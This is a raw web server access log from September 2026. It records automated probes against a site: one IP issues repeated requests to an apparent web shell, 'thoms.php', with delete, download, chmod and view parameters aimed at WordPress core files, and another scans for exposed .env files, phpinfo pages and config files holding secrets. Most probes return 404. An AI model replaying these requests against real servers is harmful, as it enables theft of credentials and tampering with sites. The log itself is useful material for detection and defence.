45.135.193.11 - - [12/Sep/2026:00:03:53 -0400] "GET /thoms.php?chmod=IXR&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=IXR&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:53 -0400] "GET /thoms.php?chmod=class-feed.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-feed.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:53 -0400] "GET /thoms.php?del=class-wp-block-bindings-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:53 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:53 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:53 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-term.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:53 -0400] "GET /thoms.php?dl=formatting.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=formatting.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:53 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fhtml-api&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fhtml-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:53 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:53 -0400] "GET /thoms.php?chmod=class-wp-customize-setting.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-setting.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:53 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=formatting.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=formatting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:53 -0400] "GET /thoms.php?del=functions.wp-styles.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=functions.wp-styles.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:53 -0400] "GET /thoms.php?dl=option.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=option.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:53 -0400] "GET /thoms.php?del=registration-functions.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=registration-functions.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:53 -0400] "GET /thoms.php?chmod=blocks&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=blocks&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:54 -0400] "GET /thoms.php?chmod=class-wp-block-metadata-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-metadata-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ftheme-compat&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ftheme-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:54 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-http-cookie.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-http-cookie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:54 -0400] "GET /thoms.php?chmod=view-transitions.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=view-transitions.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:54 -0400] "GET /thoms.php?dl=widgets.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:54 -0400] "GET /thoms.php?del=class-wp-feed-cache-transient.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache-transient.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:54 -0400] "GET /thoms.php?dl=class-wp-plugin-dependencies.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-plugin-dependencies.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fauthor-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fauthor-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:54 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fphp-ai-client HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fphp-ai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:54 -0400] "GET /thoms.php?chmod=block-patterns&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-patterns&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:54 -0400] "GET /thoms.php?del=l10n.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=l10n.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:54 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:54 -0400] "GET /thoms.php?chmod=build&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=build&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:54 -0400] "GET /thoms.php?del=block-bindings.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-bindings.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:55 -0400] "GET /thoms.php?del=feed-rss2-comments.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-rss2-comments.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:55 -0400] "GET /thoms.php?del=class-wp-block-parser.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fregistration-functions.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fregistration-functions.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:55 -0400] "GET /thoms.php?chmod=script-modules.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=script-modules.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:55 -0400] "GET /thoms.php?dl=class-snoopy.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-snoopy.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:55 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:55 -0400] "GET /thoms.php?dl=class-wp-customize-nav-menus.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-nav-menus.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:55 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=ms-functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=ms-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:55 -0400] "GET /thoms.php?dl=plugin.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=plugin.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:55 -0400] "GET /thoms.php?dl=class-walker-nav-menu.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-nav-menu.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:55 -0400] "GET /thoms.php?del=global-styles-and-settings.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=global-styles-and-settings.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:55 -0400] "GET /thoms.php?chmod=http.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=http.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:55 -0400] "GET /thoms.php?dl=utf8.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=utf8.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
3.83.16.103 - - [12/Sep/2026:00:11:04 -0400] "GET / HTTP/1.1" 200 3413 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36"
54.172.145.28 - - [12/Sep/2026:00:11:06 -0400] "GET /robots.txt HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36"
3.88.203.46 - - [12/Sep/2026:00:52:25 -0400] "GET /favicon.ico HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36"
43.157.168.43 - - [12/Sep/2026:01:22:20 -0400] "GET / HTTP/1.1" 200 3397 "http://163.245.207.76:443" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
212.18.108.190 - - [12/Sep/2026:02:09:23 -0400] "GET / HTTP/1.1" 200 2967 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15"
212.18.108.190 - - [12/Sep/2026:02:09:23 -0400] "POST / HTTP/1.1" 200 2914 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
45.156.128.10 - - [12/Sep/2026:02:40:59 -0400] "GET / HTTP/1.1" 200 3397 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36"
45.156.128.14 - - [12/Sep/2026:02:41:36 -0400] "GET /license.txt HTTP/1.1" 404 1251 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36"
45.156.128.10 - - [12/Sep/2026:02:42:17 -0400] "GET /wp-json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36"
213.209.159.175 - - [12/Sep/2026:02:57:46 -0400] "GET / HTTP/2" 200 23746 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:50 -0400] "GET /.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:51 -0400] "GET /backend/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:51 -0400] "GET /api/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:51 -0400] "GET /sendgrid.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:52 -0400] "GET /phpinfo/ HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:52 -0400] "GET /admin/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:52 -0400] "GET /?phpinfo=-1 HTTP/2" 200 23746 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:52 -0400] "GET /phpinfo.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:52 -0400] "GET /.env.example HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:52 -0400] "GET /app/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:52 -0400] "GET /app_dev.php/_profiler/open?file=app/config/parameters.yml HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:52 -0400] "GET /?url=.env HTTP/2" 200 23746 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:52 -0400] "GET /appsettings.json HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:53 -0400] "GET /_profiler/phpinfo HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:53 -0400] "GET /.env.production HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:53 -0400] "GET /server/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:53 -0400] "GET /dev/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:53 -0400] "GET /staging/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:53 -0400] "GET /info/ HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:53 -0400] "GET /.env.save HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:53 -0400] "GET /app_dev.php/_profiler/phpinfo HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:53 -0400] "GET /laravel/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:53 -0400] "GET /sendgrid/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:54 -0400] "GET /info HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:54 -0400] "GET /test/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
